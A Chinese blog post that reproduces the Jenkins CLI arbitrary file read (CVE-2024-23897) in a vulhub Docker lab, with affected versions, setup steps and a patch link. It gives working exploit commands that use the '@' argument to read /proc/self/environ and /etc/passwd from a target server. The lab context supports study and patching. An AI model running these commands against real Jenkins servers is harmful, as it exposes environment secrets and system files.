首页 > 其他分享 >Jenkins CLI 任意文件读取漏洞(CVE-2024-23897)复现

Jenkins CLI 任意文件读取漏洞(CVE-2024-23897)复现

时间:2024-02-22 16:44:34浏览次数:40  
标签:java 23897 jar 2024 Java yum jenkins Jenkins

0x00 漏洞简介

Jenkins是一款基于JAVA开发的开源自动化服务器。

Jenkins使用args4j来解析命令行输入,并支持通过HTTP、WebSocket等协议远程传入命令行参数。在args4j中,用户可以通过@字符来加载任意文件。这一特性存在安全风险,攻击者可以利用它来读取服务器上的任意文件。

0x01 影响范围:

Jenkins weekly <= 2.441

Jenkins LTS <= 2.426.2

0x02 环境启动

cd /root/vulhub/jenkins/CVE-2024-23897
docker-compose build
docker-compose up -d

0x03 漏洞复现

访问http://靶场IP:8086 显示Jenkins页面

下载官方提供的命令行客户端

wget http://IP:8080/jnlpJars/jenkins-cli.jar


#使用该工具读取目标服务器的`/proc/self/environ`文件
java -jar jenkins-cli.jar -s http://IP:8080/ -http help 1 "@/proc/self/environ"

#使用该工具读取目标服务器的`/etc/passwd`文件
java -jar jenkins-cli.jar -s http://IP:8080/ who-am-i @/etc/passwd


如果出现以下提示,说明我们正在使用的Java版本与Jenkins CLI JAR文件所需的Java版本不兼容。


升级Java版本:

#查询Java安装信息
yum list installed |grep java
rpm -qa |grep java

#卸载旧版本
yum remove -y java-1.8.0-openjdk*
yum remove -y tzdata-java.noarch*


#重新安装Java新版本
yum update
yum install -y java-11-openjdk-devel
#验证java版本
java -version

0x04 修复建议

升级至安全版本:https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314

标签:java,23897,jar,2024,Java,yum,jenkins,Jenkins
From: https://www.cnblogs.com/BMCel/p/18027664

相关文章

  • windows 环境安装jenkins
    安装jenkins一、下载安装包下载地址:https://www.jenkins.io/download/二、MSI文件安装向导第1步:双击msi文件,设置向导打开WindowsInstaller时,将显示安装安装向导,单击“安装向导”上的“下一步”以开始安装第2步:选择目标文件夹选择用于存储Jenkins安装的目标文......
  • 2024-02-21-物联网Shell语言(2-系统调用)
    2.系统调用2.1系统编程概述操作系统的职责:操作系统用来管理所有的资源,并将不同的设备和不同的程序关联起来Linux系统编程:在有操作系统打的环境下编程,并使用操作系统提供的系统调用及库函数,对系统资源进行访问系统编程就是为了让用户更方便的操作硬件设备,并且对硬件设备起到......
  • dp 学习笔记 (2024/2/22 - )
    计数[ARC107D]NumberofMultisets[ARC104D]MultisetMean大值域限制偏序计数[CF1295F]GoodContest[ARC104E]RandomLIS......
  • 2024初三集训模拟测试4
    2024初三集训模拟测试4\(T1\)打赌\(0pts\)\(T2\)舞会\(0pts\)\(T3\)最小生成树\(0pts\)经打表,有最小生成树的边权和为\(n-1\),构造每条边上的两端点互质即可。故\(\prod\limits_{i=1}^{n}\varphi(i)\)即为所求。点击查看代码constllp=100000007;llph......
  • 2024初三集训模拟测试4
    T1打赌简单题,模拟一下即可。T2舞会小贪心,尽量找离自己最近的防止后面的不能找。T3最小生成树显然权值和为\(n-1\),就是连互质的数,然后要求父亲小于儿子,所以欧拉函数一乘即可。T4买汽水正解是分成两组后搜索加剪枝,随机化也能过,数据很水。......
  • 踩坑经历-jenkins安装使用
    最近在整理之前临时记的笔记,好久之前了,大概记录下。按照教程安装jenkins,随机选了个不是最新版的docker版本,然后一路下一步,但是到安装推荐插件就没有全部安装成功,我接着走下去想进到“插件管理”界面再装推荐插件,但是经过尝试换镜像源,各种重启,查询报错代码啥意思,折腾了很久还是没......
  • 2024.02《高效学习法》
     背口诀、划重点、反复温习……各种方法都试过了,可为什么学习成绩还是没有提高呢?其实,你不是不会学习,而是不知道正确的学习方法!日本学习之神DaiGo公开自己独创并长年使用、科学有效、实践性极高的学习秘籍:想象自己把学习内容输出到10岁的孩子都能听懂、不写学习目标而写你掌......
  • AutoCAD2024画圆或矩形实时预览消失了如何解决?
    最近有小伙伴问这个问题,他在使用AutoCAD绘制图形时,发现画圆或矩形实时预览没有了,如下,画图不容易定位,非常影响画图效率,十分苦恼不知道如何恢复? 正常CAD画圆(或矩形)会显示实时预览,如下:操作步骤:AutoCAD20241、打开AutoCAD2024软件,然后在命令栏输入:DRAGMODE,然后按Enter键......
  • 12.【2024初三集训模拟测试4】
    \(\Huge打了一场模拟赛,又垫底了。qwq\)2024初三集训模拟测试4\(\Huge还是垫底赛大佬。qwq\)赛时差点忘改\(freopen\),用的全是\(T1\)的文件,\(9:30\)才发现,吓\(④\)。T1打赌\(?pts\)又是\(\Huge\%\)你,打赌\(\Huge......
  • 【2024-02-09】连岳摘抄
    23:59银灯守岁未应眠,一听阳春自洒然。更祝明朝风日好,梅花满眼踏新年。                                                 ——《除夜次唐诗韵》明·吴与弼人最大的动......